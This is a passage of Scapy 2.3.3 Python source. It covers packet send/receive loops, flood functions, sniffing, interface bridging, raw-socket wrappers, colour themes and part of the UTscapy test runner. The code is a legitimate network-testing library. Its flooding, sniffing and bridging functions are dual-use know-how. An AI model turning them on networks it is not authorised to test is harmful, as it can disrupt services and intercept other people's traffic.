verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: work only on the given interface""" if not kargs.has_key("timeout"): kargs["timeout"] = -1 a,b=srp(*args,**kargs) if len(a) > 0: return a[0][1] else: return None def __sr_loop(srfunc, pkts, prn=lambda x:x[1].summary(), prnfail=lambda x:x.summary(), inter=1, timeout=None, count=None, verbose=None, store=1, *args, **kargs): n = 0 r = 0 ct = conf.color_theme if verbose is None: verbose = conf.verb parity = 0 ans=[] unans=[] if timeout is None: timeout = min(2*inter, 5) try: while 1: parity ^= 1 col = [ct.even,ct.odd][parity] if count is not None: if count == 0: break count -= 1 start = time.time() print "\rsend...\r", res = srfunc(pkts, timeout=timeout, verbose=0, chainCC=1, *args, **kargs) n += len(res[0])+len(res[1]) r += len(res[0]) if verbose > 1 and prn and len(res[0]) > 0: msg = "RECV %i:" % len(res[0]) print "\r"+ct.success(msg), for p in res[0]: print col(prn(p)) print " "*len(msg), if verbose > 1 and prnfail and len(res[1]) > 0: msg = "fail %i:" % len(res[1]) print "\r"+ct.fail(msg), for p in res[1]: print col(prnfail(p)) print " "*len(msg), if verbose > 1 and not (prn or prnfail): print "recv:%i fail:%i" % tuple(map(len, res[:2])) if store: ans += res[0] unans += res[1] end=time.time() if end-start < inter: time.sleep(inter+start-end) except KeyboardInterrupt: pass if verbose and n>0: print ct.normal("\nSent %i packets, received %i packets. %3.1f%% hits." % (n,r,100.0*r/n)) return plist.SndRcvList(ans),plist.PacketList(unans) @conf.commands.register def srloop(pkts, *args, **kargs): """Send a packet at layer 3 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return __sr_loop(sr, pkts, *args, **kargs) @conf.commands.register def srploop(pkts, *args, **kargs): """Send a packet at layer 2 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return __sr_loop(srp, pkts, *args, **kargs) def sndrcvflood(pks, pkt, prn=lambda (s,r):r.summary(), chainCC=0, store=1, unique=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) tobesent = [p for p in pkt] received = plist.SndRcvList() seen = {} hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] def send_in_loop(tobesent): while 1: for p in tobesent: yield p packets_to_send = send_in_loop(tobesent) ssock = rsock = pks.fileno() try: while 1: readyr,readys,_ = select([rsock],[ssock],[]) if ssock in readys: pks.send(packets_to_send.next()) if rsock in readyr: p = pks.recv(MTU) if p is None: continue h = p.hashret() if h in hsent: hlst = hsent[h] for i in hlst: if p.answers(i): res = prn((i,p)) if unique: if res in seen: continue seen[res] = None if res is not None: print res if store: received.append((i,p)) except KeyboardInterrupt: if chainCC: raise return received @conf.commands.register def srflood(x,filter=None, iface=None, nofilter=None, *args,**kargs): """Flood and receive packets at layer 3 prn: function applied to packets received. Ret val is printed if not None store: if 1 (default), store answers and return them unique: only consider packets whose print nofilter: put 1 to avoid use of bpf filters filter: provide a BPF filter iface: listen answers only on the given interface""" s = conf.L3socket(filter=filter, iface=iface, nofilter=nofilter) r=sndrcvflood(s,x,*args,**kargs) s.close() return r @conf.commands.register def srpflood(x,filter=None, iface=None, iface_hint=None, nofilter=None, *args,**kargs): """Flood and receive packets at layer 2 prn: function applied to packets received. Ret val is printed if not None store: if 1 (default), store answers and return them unique: only consider packets whose print nofilter: put 1 to avoid use of bpf filters filter: provide a BPF filter iface: listen answers only on the given interface""" if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] s = conf.L2socket(filter=filter, iface=iface, nofilter=nofilter) r=sndrcvflood(s,x,*args,**kargs) s.close() return r @conf.commands.register def sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, iface=None, *arg, **karg): """Sniff packets sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) offline: pcap file to read packets from, instead of sniffing them timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket opened_socket: provide an object ready to use .recv() on stop_filter: python function applied to each packet to determine if we have to stop the capture after this packet ex: stop_filter = lambda x: x.haslayer(TCP) iface: interface or list of interfaces (default: None for sniffing on all interfaces) """ c = 0 label = {} sniff_sockets = [] if opened_socket is not None: sniff_sockets = [opened_socket] else: if offline is None: if L2socket is None: L2socket = conf.L2listen if type(iface) is list: for i in iface: s = L2socket(type=ETH_P_ALL, iface=i, *arg, **karg) label[s] = i sniff_sockets.append(s) else: sniff_sockets = [L2socket(type=ETH_P_ALL, iface=iface, *arg, **karg)] else: sniff_sockets = [PcapReader(offline)] lst = [] if timeout is not None: stoptime = time.time()+timeout remain = None try: stop_event = False while not stop_event: if timeout is not None: remain = stoptime-time.time() if remain <= 0: break sel = select(sniff_sockets, [], [], remain) for s in sel[0]: p = s.recv() if p is not None: if lfilter and not lfilter(p): continue if s in label: p.sniffed_on = label[s] if store: lst.append(p) c += 1 if prn: r = prn(p) if r is not None: print r if stop_filter and stop_filter(p): stop_event = True break if 0 < count <= c: stop_event = True break except KeyboardInterrupt: pass if opened_socket is None: for s in sniff_sockets: s.close() return plist.PacketList(lst,"Sniffed") @conf.commands.register def bridge_and_sniff(if1, if2, count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, stop_filter=None, *args, **kargs): """Forward traffic between two interfaces and sniff packets exchanged bridge_and_sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2Socket args) -> list of packets count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket stop_filter: python function applied to each packet to determine if we have to stop the capture after this packet ex: stop_filter = lambda x: x.haslayer(TCP) """ c = 0 if L2socket is None: L2socket = conf.L2socket s1 = L2socket(iface=if1) s2 = L2socket(iface=if2) peerof={s1:s2,s2:s1} label={s1:if1, s2:if2} lst = [] if timeout is not None: stoptime = time.time()+timeout remain = None try: stop_event = False while not stop_event: if timeout is not None: remain = stoptime-time.time() if remain <= 0: break ins, outs, errs = select([s1, s2], [], [], remain) for s in ins: p = s.recv() if p is not None: peerof[s].send(p.original) if lfilter and not lfilter(p): continue if store: p.sniffed_on = label[s] lst.append(p) c += 1 if prn: r = prn(p) if r is not None: print r if stop_filter and stop_filter(p): stop_event = True break if 0 < count <= c: stop_event = True break except KeyboardInterrupt: pass finally: return plist.PacketList(lst,"Sniffed") @conf.commands.register def tshark(*args,**kargs): """Sniff packets and print them calling pkt.show(), a bit like text wireshark""" sniff(prn=lambda x: x.display(),*args,**kargs) scapy-2.3.3/scapy/supersocket.py000066400000000000000000000110511300136037300166700ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SuperSocket. """ import socket,time from scapy.config import conf from scapy.data import * from scapy.error import warning, log_runtime class _SuperSocket_metaclass(type): def __repr__(self): if self.desc is not None: return "<%s: %s>" % (self.__name__,self.desc) else: return "<%s>" % self.__name__ class SuperSocket: __metaclass__ = _SuperSocket_metaclass desc = None closed=0 def __init__(self, family=socket.AF_INET,type=socket.SOCK_STREAM, proto=0): self.ins = socket.socket(family, type, proto) self.outs = self.ins self.promisc=None def send(self, x): sx = str(x) if hasattr(x, "sent_time"): x.sent_time = time.time() return self.outs.send(sx) def recv(self, x=MTU): return conf.raw_layer(self.ins.recv(x)) def fileno(self): return self.ins.fileno() def close(self): if self.closed: return self.closed=1 if self.ins != self.outs: if self.outs and self.outs.fileno() != -1: self.outs.close() if self.ins and self.ins.fileno() != -1: self.ins.close() def sr(self, *args, **kargs): from scapy import sendrecv return sendrecv.sndrcv(self, *args, **kargs) def sr1(self, *args, **kargs): from scapy import sendrecv a,b = sendrecv.sndrcv(self, *args, **kargs) if len(a) > 0: return a[0][1] else: return None def sniff(self, *args, **kargs): from scapy import sendrecv return sendrecv.sniff(opened_socket=self, *args, **kargs) class L3RawSocket(SuperSocket): desc = "Layer 3 using Raw sockets (PF_INET/SOCK_RAW)" def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0): self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) if iface is not None: self.ins.bind((iface, type)) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None if sa_ll[3] in conf.l2types: cls = conf.l2types[sa_ll[3]] lvl = 2 elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] lvl = 3 else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],cls.name)) lvl = 3 try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) if lvl == 2: pkt = pkt.payload if pkt is not None: from scapy.arch import get_last_packet_timestamp pkt.time = get_last_packet_timestamp(self.ins) return pkt def send(self, x): try: sx = str(x) x.sent_time = time.time() self.outs.sendto(sx,(x.dst,0)) except socket.error,msg: log_runtime.error(msg) class SimpleSocket(SuperSocket): desc = "wrapper arround a classic socket" def __init__(self, sock): self.ins = sock self.outs = sock class StreamSocket(SimpleSocket): desc = "transforms a stream socket into a layer 2" def __init__(self, sock, basecls=None): if basecls is None: basecls = conf.raw_layer SimpleSocket.__init__(self, sock) self.basecls = basecls def recv(self, x=MTU): pkt = self.ins.recv(x, socket.MSG_PEEK) x = len(pkt) if x == 0: raise socket.error((100,"Underlying stream socket tore down")) pkt = self.basecls(pkt) pad = pkt.getlayer(conf.padding_layer) if pad is not None and pad.underlayer is not None: del(pad.underlayer.payload) from scapy.packet import NoPayload while pad is not None and not isinstance(pad, NoPayload): x -= len(pad.load) pad = pad.payload self.ins.recv(x) return pkt if conf.L3socket is None: conf.L3socket = L3RawSocket scapy-2.3.3/scapy/themes.py000066400000000000000000000240711300136037300156140ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Color themes for the interactive console. """ ################## ## Color themes ## ################## class Color: normal = "\033[0m" black = "\033[30m" red = "\033[31m" green = "\033[32m" yellow = "\033[33m" blue = "\033[34m" purple = "\033[35m" cyan = "\033[36m" grey = "\033[37m" bold = "\033[1m" uline = "\033[4m" blink = "\033[5m" invert = "\033[7m" def create_styler(fmt=None, before="", after="", fmt2="%s"): def do_style(val, fmt=fmt, before=before, after=after, fmt2=fmt2): if fmt is None: if type(val) is not str: val = str(val) else: val = fmt % val return fmt2 % (before+val+after) return do_style class ColorTheme: def __repr__(self): return "<%s>" % self.__class__.__name__ def __getattr__(self, attr): return create_styler() class NoTheme(ColorTheme): pass class AnsiColorTheme(ColorTheme): def __getattr__(self, attr): if attr.startswith("__"): raise AttributeError(attr) s = "style_%s" % attr if s in self.__class__.__dict__: before = getattr(self, s) after = self.style_normal else: before = after = "" return create_styler(before=before, after=after) style_normal = "" style_prompt = "" style_punct = "" style_id = "" style_not_printable = "" style_layer_name = "" style_field_name = "" style_field_value = "" style_emph_field_name = "" style_emph_field_value = "" style_packetlist_name = "" style_packetlist_proto = "" style_packetlist_value = "" style_fail = "" style_success = "" style_odd = "" style_even = "" style_opening = "" style_active = "" style_closed = "" style_left = "" style_right = "" class BlackAndWhite(AnsiColorTheme): pass class DefaultTheme(AnsiColorTheme): style_normal = Color.normal style_prompt = Color.blue+Color.bold style_punct = Color.normal style_id = Color.blue+Color.bold style_not_printable = Color.grey style_layer_name = Color.red+Color.bold style_field_name = Color.blue style_field_value = Color.purple style_emph_field_name = Color.blue+Color.uline+Color.bold style_emph_field_value = Color.purple+Color.uline+Color.bold style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.blue style_packetlist_value = Color.purple style_fail = Color.red+Color.bold style_success = Color.blue+Color.bold style_even = Color.black+Color.bold style_odd = Color.black style_opening = Color.yellow style_active = Color.black style_closed = Color.grey style_left = Color.blue+Color.invert style_right = Color.red+Color.invert class BrightTheme(AnsiColorTheme): style_normal = Color.normal style_punct = Color.normal style_id = Color.yellow+Color.bold style_layer_name = Color.red+Color.bold style_field_name = Color.yellow+Color.bold style_field_value = Color.purple+Color.bold style_emph_field_name = Color.yellow+Color.bold style_emph_field_value = Color.green+Color.bold style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.purple+Color.bold style_fail = Color.red+Color.bold style_success = Color.blue+Color.bold style_even = Color.black+Color.bold style_odd = Color.black style_left = Color.cyan+Color.invert style_right = Color.purple+Color.invert class RastaTheme(AnsiColorTheme): style_normal = Color.normal+Color.green+Color.bold style_prompt = Color.yellow+Color.bold style_punct = Color.red style_id = Color.green+Color.bold style_not_printable = Color.green style_layer_name = Color.red+Color.bold style_field_name = Color.yellow+Color.bold style_field_value = Color.green+Color.bold style_emph_field_name = Color.green style_emph_field_value = Color.green style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.green+Color.bold style_fail = Color.red style_success = Color.red+Color.bold style_even = Color.yellow style_odd = Color.green style_left = Color.yellow+Color.invert style_right = Color.red+Color.invert class ColorOnBlackTheme(AnsiColorTheme): """Color theme for black backgrounds""" style_normal = Color.normal style_prompt = Color.green+Color.bold style_punct = Color.normal style_id = Color.green style_not_printable = Color.black+Color.bold style_layer_name = Color.yellow+Color.bold style_field_name = Color.cyan style_field_value = Color.purple+Color.bold style_emph_field_name = Color.cyan+Color.bold style_emph_field_value = Color.red+Color.bold style_packetlist_name = Color.black+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.purple+Color.bold style_fail = Color.red+Color.bold style_success = Color.green style_even = Color.black+Color.bold style_odd = Color.grey style_opening = Color.yellow style_active = Color.grey+Color.bold style_closed = Color.black+Color.bold style_left = Color.cyan+Color.bold style_right = Color.red+Color.bold class FormatTheme(ColorTheme): def __getattr__(self, attr): if attr.startswith("__"): raise AttributeError(attr) colfmt = self.__class__.__dict__.get("style_%s" % attr, "%s") return create_styler(fmt2 = colfmt) class LatexTheme(FormatTheme): style_prompt = r"\textcolor{blue}{%s}" style_not_printable = r"\textcolor{gray}{%s}" style_layer_name = r"\textcolor{red}{\bf %s}" style_field_name = r"\textcolor{blue}{%s}" style_field_value = r"\textcolor{purple}{%s}" style_emph_field_name = r"\textcolor{blue}{\underline{%s}}" #ul style_emph_field_value = r"\textcolor{purple}{\underline{%s}}" #ul style_packetlist_name = r"\textcolor{red}{\bf %s}" style_packetlist_proto = r"\textcolor{blue}{%s}" style_packetlist_value = r"\textcolor{purple}{%s}" style_fail = r"\textcolor{red}{\bf %s}" style_success = r"\textcolor{blue}{\bf %s}" style_left = r"\textcolor{blue}{%s}" style_right = r"\textcolor{red}{%s}" # style_even = r"}{\bf " # style_odd = "" class LatexTheme2(FormatTheme): style_prompt = r"@`@textcolor@[@blue@]@@[@%s@]@" style_not_printable = r"@`@textcolor@[@gray@]@@[@%s@]@" style_layer_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_field_name = r"@`@textcolor@[@blue@]@@[@%s@]@" style_field_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_emph_field_name = r"@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@" style_emph_field_value = r"@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@" style_packetlist_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_packetlist_proto = r"@`@textcolor@[@blue@]@@[@%s@]@" style_packetlist_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_fail = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_success = r"@`@textcolor@[@blue@]@@[@@`@bfserices@[@@]@%s@]@" style_even = r"@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@" # style_odd = r"@`@textcolor@[@black@]@@[@@`@bfseries@[@@]@%s@]@" style_left = r"@`@textcolor@[@blue@]@@[@%s@]@" style_right = r"@`@textcolor@[@red@]@@[@%s@]@" class HTMLTheme(FormatTheme): style_prompt = "%s" style_not_printable = "%s" style_layer_name = "%s" style_field_name = "%s" style_field_value = "%s" style_emph_field_name = "%s" style_emph_field_value = "%s" style_packetlist_name = "%s" style_packetlist_proto = "%s" style_packetlist_value = "%s" style_fail = "%s" style_success = "%s" style_even = "%s" style_odd = "%s" style_left = "%s" style_right = "%s" class HTMLTheme2(HTMLTheme): style_prompt = "#[#span class=prompt#]#%s#[#/span#]#" style_not_printable = "#[#span class=not_printable#]#%s#[#/span#]#" style_layer_name = "#[#span class=layer_name#]#%s#[#/span#]#" style_field_name = "#[#span class=field_name#]#%s#[#/span#]#" style_field_value = "#[#span class=field_value#]#%s#[#/span#]#" style_emph_field_name = "#[#span class=emph_field_name#]#%s#[#/span#]#" style_emph_field_value = "#[#span class=emph_field_value#]#%s#[#/span#]#" style_packetlist_name = "#[#span class=packetlist_name#]#%s#[#/span#]#" style_packetlist_proto = "#[#span class=packetlist_proto#]#%s#[#/span#]#" style_packetlist_value = "#[#span class=packetlist_value#]#%s#[#/span#]#" style_fail = "#[#span class=fail#]#%s#[#/span#]#" style_success = "#[#span class=success#]#%s#[#/span#]#" style_even = "#[#span class=even#]#%s#[#/span#]#" style_odd = "#[#span class=odd#]#%s#[#/span#]#" style_left = "#[#span class=left#]#%s#[#/span#]#" style_right = "#[#span class=right#]#%s#[#/span#]#" class ColorPrompt: __prompt = ">>> " def __str__(self): try: from scapy import config ct = config.conf.color_theme if isinstance(ct, AnsiColorTheme): ## ^A and ^B delimit invisible caracters for readline to count right return "\001%s\002" % ct.prompt("\002"+config.conf.prompt+"\001") else: return ct.prompt(config.conf.prompt) except: return self.__prompt scapy-2.3.3/scapy/tools/000077500000000000000000000000001300136037300151115ustar00rootroot00000000000000scapy-2.3.3/scapy/tools/UTscapy.py000077500000000000000000000525771300136037300170760ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Unit testing infrastructure for Scapy """ import sys,getopt,imp import bz2, base64, os.path, time, traceback, zlib, sha #### Import tool #### def import_module(name): name = os.path.realpath(name) thepath = os.path.dirname(name) name = os.path.basename(name) if name.endswith(".py"): name = name[:-3] f,path,desc = imp.find_module(name,[thepath]) try: return imp.load_module(name, f, path, desc) finally: if f: f.close() #### INTERNAL/EXTERNAL FILE EMBEDDING #### class File: def __init__(self, name, URL, local): self.name = name self.local = local self.URL = URL def get_local(self): return bz2.decompress(base64.decodestring(self.local)) def get_URL(self): return self.URL def write(self, dir): if dir: dir += "/" open(dir+self.name,"w").write(self.get_local()) # Embed a base64 encoded bziped version of js and css files # to work if you can't reach Internet. class External_Files: UTscapy_js = File("UTscapy.js", "http://www.secdev.org/projects/UTscapy/UTscapy.js", """QlpoOTFBWSZTWWVijKQAAXxfgERUYOvAChIhBAC/79+qQAH8AFA0poANAMjQAAAG ABo0NGEZNBo00BhgAaNDRhGTQaNNAYFURJinplGaKbRkJiekzSenqmpA0Gm1LFMp RUklVQlK9WUTZYpNFI1IiEWEFT09Sfj5uO+qO6S5DQwKIxM92+Zku94wL6V/1KTK an2c66Ug6SmVKy1ZIrgauxMVLF5xLH0lJRQuKlqLF10iatlTzqvw7S9eS3+h4lu3 GZyMgoOude3NJ1pQy8eo+X96IYZw+ynehsiPj73m0rnvQ3QXZ9BJQiZQYQ5/uNcl 2WOlC5vyQqV/BWsnr2NZYLYXQLDs/Bffk4ZfR4/SH6GfA5Xlek4xHNHqbSsRbREO gueXo3kcYi94K6hSO3ldD2O/qJXOFqJ8o3TE2aQahxtQpCVUKQMvODHwu2YkaORY ZC6gihEallcHDIAtRPScBACAJnUggYhLDX6DEko7nC9GvAw5OcEkiyDUbLdiGCzD aXWMC2DuQ2Y6sGf6NcRuON7QSbhHsPc4KKmZ/xdyRThQkGVijKQ=""") UTscapy_css = File("UTscapy.css","http://www.secdev.org/projects/UTscapy/UTscapy.css", """QlpoOTFBWSZTWTbBCNEAAE7fgHxwSB//+Cpj2QC//9/6UAR+63dxbNzO3ccmtGEk pM0m1I9E/Qp6g9Q09TNQ9QDR6gMgAkiBFG9U9TEGRkGgABoABoBmpJkRAaAxD1AN Gh6gNADQBzAATJgATCYJhDAEYAEiQkwIyJk0n6qenpqeoaMUeo9RgIxp6pX78kfx Jx4MUhDHKEb2pJAYAelG1cybiZBBDipH8ocxNyHDAqTUxiQmIAEDE3ApIBUUECAT 7Lvlf4xA/sVK0QHkSlYtT0JmErdOjx1v5NONPYSjrIhQnbl1MbG5m+InMYmVAWJp uklD9cNdmQv2YigxbEtgUrsY2pDDV/qMT2SHnHsViu2rrp2LA01YJIHZqjYCGIQN sGNobFxAYHLqqMOj9TI2Y4GRpRCUGu82PnMnXUBgDSkTY4EfmygaqvUwbGMbPwyE 220Q4G+sDvw7+6in3CAOS634pcOEAdREUW+QqMjvWvECrGISo1piv3vqubTGOL1c ssrFnnSfU4T6KSCbPs98HJ2yjWN4i8Bk5WrM/JmELLNeZ4vgMkA4JVQInNnWTUTe gmMSlJd/b7JuRwiM5RUzXOBTa0e3spO/rsNJiylu0rCxygdRo2koXdSJzmUVjJUm BOFIkUKq8LrE+oT9h2qUqqUQ25fGV7e7OFkpmZopqUi0WeIBzlXdYY0Zz+WUJUTC RC+CIPFIYh1RkopswMAop6ZjuZKRqR0WNuV+rfuF5aCXPpxAm0F14tPyhf42zFMT GJUMxxowJnoauRq4xGQk+2lYFxbQ0FiC43WZSyYLHMuo5NTJ92QLAgs4FgOyZQqQ xpsGKMA0cIisNeiootpnlWQvkPzNGUTPg8jqkwTvqQLguZLKJudha1hqfBib1IfO LNChcU6OqF+3wyPKg5Y5oSbSJPAMcRDANwmS2i9oZm6vsD1pLkWtFGbAkEjjCuEU W1ev1IsF2UVmWYFtJkqLT708ApUBK/ig3rbJWSq7RGQd3sSrOKu3lyKzTBdkXK2a BGLV5dS1XURdKxaRkMplLLQxsimBYZEAa8KQkYyI+4EagMqycRR7RgwtZFxJSu0T 1q5wS2JG82iETHplbNj8DYo9IkmKzNAiw4FxK8bRfIYvwrbshbEagL11AQJFsqeZ WeXDoWEx2FMyyZRAB5QyCFnwYtwtWAQmmITY8aIM2SZyRnHH9Wi8+Sr2qyCscFYo vzM985aHXOHAxQN2UQZbQkUv3D4Vc+lyvalAffv3Tyg4ks3a22kPXiyeCGweviNX 0K8TKasyOhGsVamTUAZBXfQVw1zmdS4rHDnbHgtIjX3DcCt6UIr0BHTYjdV0JbPj r1APYgXihjQwM2M83AKIhwQQJv/F3JFOFCQNsEI0QA==""") def get_local_dict(cls): return dict((x, y.name) for (x, y) in cls.__dict__.iteritems() if isinstance(y, File)) get_local_dict = classmethod(get_local_dict) def get_URL_dict(cls): return dict((x, y.URL) for (x, y) in cls.__dict__.iteritems() if isinstance(y, File)) get_URL_dict = classmethod(get_URL_dict) #### HELPER CLASSES FOR PARAMETRING OUTPUT FORMAT #### class EnumClass: def from_string(cls,x): return cls.__dict__[x.upper()] from_string = classmethod(from_string) class Format(EnumClass): TEXT = 1 ANSI = 2 HTML = 3 LATEX = 4 XUNIT = 5 #### TEST CLASSES #### class TestClass: def __getitem__(self, item): return getattr(self, item) def add_keywords(self, kw): if kw is str: self.keywords.append(kw) else: self.keywords += kw class TestCampaign(TestClass): def __init__(self, title): self.title = title self.filename = None self.headcomments = "" self.campaign = [] self.keywords = [] self.crc = None self.sha = None self.preexec = None self.preexec_output = None def add_testset(self, testset): self.campaign.append(testset) def __iter__(self): return self.campaign.__iter__() def all_tests(self): for ts in self: for t in ts: yield t class TestSet(TestClass): def __init__(self, name): self.name = name self.tests = [] self.comments = "" self.keywords = [] self.crc = None self.expand = 1 def add_test(self, test): self.tests.append(test) def __iter__(self): return self.tests.__iter__() class UnitTest(TestClass): def __init__(self, name): self.name = name self.test = "" self.comments = "" self.result = "" self.res = True # must be True at init to have a different truth value than None self.output = "" self.num = -1 self.keywords = [] self.crc = None self.expand = 1 def __nonzero__(self): return self.res #### PARSE CAMPAIGN #### def parse_campaign_file(campaign_file): test_campaign = TestCampaign("Test campaign") test_campaign.filename= campaign_file.name testset = None test = None testnb = 0 for l in campaign_file.readlines(): if l[0] == '#': continue if l[0] == "~": (test or testset or campaign_file).add_keywords(l[1:].split()) elif l[0] == "%": test_campaign.title = l[1:].strip() elif l[0] == "+": testset = TestSet(l[1:].strip()) test_campaign.add_testset(testset) test = None elif l[0] == "=": test = UnitTest(l[1:].strip()) test.num = testnb testnb += 1 testset.add_test(test) elif l[0] == "*": if test is not None: test.comments += l[1:] elif testset is not None: testset.comments += l[1:] else: test_campaign.headcomments += l[1:] else: if test is None: if l.strip(): print >>sys.stderr, "Unkonwn content [%s]" % l.strip() else: test.test += l return test_campaign def dump_campaign(test_campaign): print "#"*(len(test_campaign.title)+6) print "## %(title)s ##" % test_campaign print "#"*(len(test_campaign.title)+6) if test_campaign.sha and test_campaign.crc: print "CRC=[%(crc)s] SHA=[%(sha)s]" % test_campaign print "from file %(filename)s" % test_campaign print for ts in test_campaign: if ts.crc: print "+--[%s]%s(%s)--" % (ts.name,"-"*max(2,80-len(ts.name)-18),ts.crc) else: print "+--[%s]%s" % (ts.name,"-"*max(2,80-len(ts.name)-6)) if ts.keywords: print " kw=%s" % ",".join(ts.keywords) for t in ts: print "%(num)03i %(name)s" % t c = k = "" if t.keywords: k = "kw=%s" % ",".join(t.keywords) if t.crc: c = "[%(crc)s] " % t if c or k: print " %s%s" % (c,k) #### COMPUTE CAMPAIGN DIGESTS #### def crc32(x): return "%08X" % (0xffffffffL & zlib.crc32(x)) def sha1(x): return sha.sha(x).hexdigest().upper() def compute_campaign_digests(test_campaign): dc = "" for ts in test_campaign: dts = "" for t in ts: dt = t.test.strip() t.crc = crc32(dt) dts += "\0"+dt ts.crc = crc32(dts) dc += "\0\x01"+dts test_campaign.crc = crc32(dc) test_campaign.sha = sha1(open(test_campaign.filename).read()) #### FILTER CAMPAIGN ##### def filter_tests_on_numbers(test_campaign, num): if num: for ts in test_campaign: ts.tests = [t for t in ts.tests if t.num in num] test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests] def filter_tests_keep_on_keywords(test_campaign, kw): def kw_match(lst, kw): for k in lst: if k in kw: return True return False if kw: for ts in test_campaign: ts.tests = [t for t in ts.tests if kw_match(t.keywords, kw)] def filter_tests_remove_on_keywords(test_campaign, kw): def kw_match(lst, kw): for k in kw: if k not in lst: return False return True if kw: for ts in test_campaign: ts.tests = [t for t in ts.tests if not kw_match(t.keywords, kw)] def remove_empty_testsets(test_campaign): test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests] #### RUN CAMPAIGN ##### def run_campaign(test_campaign, get_interactive_session, verb=2): passed=failed=0 if test_campaign.preexec: test_campaign.preexec_output = get_interactive_session(test_campaign.preexec.strip())[0] for testset in test_campaign: for t in testset: t.output,res = get_interactive_session(t.test.strip()) the_res = False try: if res is None or res: the_res= True except Exception,msg: t.output+="UTscapy: Error during result interpretation:\n" t.output+="".join(traceback.format_exception(sys.exc_type, sys.exc_value, sys.exc_traceback,)) if the_res: t.res = True res = "passed" passed += 1 else: t.res = False res = "failed" failed += 1 t.result = res if verb > 1: print >>sys.stderr,"%(result)6s %(crc)s %(name)s" % t test_campaign.passed = passed test_campaign.failed = failed if verb: print >>sys.stderr,"Campaign CRC=%(crc)s SHA=%(sha)s" % test_campaign print >>sys.stderr,"PASSED=%i FAILED=%i" % (passed, failed) return failed #### INFO LINES #### def info_line(test_campaign): filename = test_campaign.filename if filename is None: return "Run %s by UTscapy" % time.ctime() else: return "Run %s from [%s] by UTscapy" % (time.ctime(), filename) def html_info_line(test_campaign): filename = test_campaign.filename if filename is None: return """Run %s by UTscapy
""" % time.ctime() else: return """Run %s from [%s] by UTscapy
""" % (time.ctime(), filename) #### CAMPAIGN TO something #### def campaign_to_TEXT(test_campaign): output="%(title)s\n" % test_campaign output += "-- "+info_line(test_campaign)+"\n\n" output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign for testset in test_campaign: if any(t.expand for t in testset): output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t return output def campaign_to_ANSI(test_campaign): output="%(title)s\n" % test_campaign output += "-- "+info_line(test_campaign)+"\n\n" output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign for testset in test_campaign: if any(t.expand for t in testset): output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t return output def campaign_to_xUNIT(test_campaign): output='\n\n' for testset in test_campaign: for t in testset: output += ' %(title)s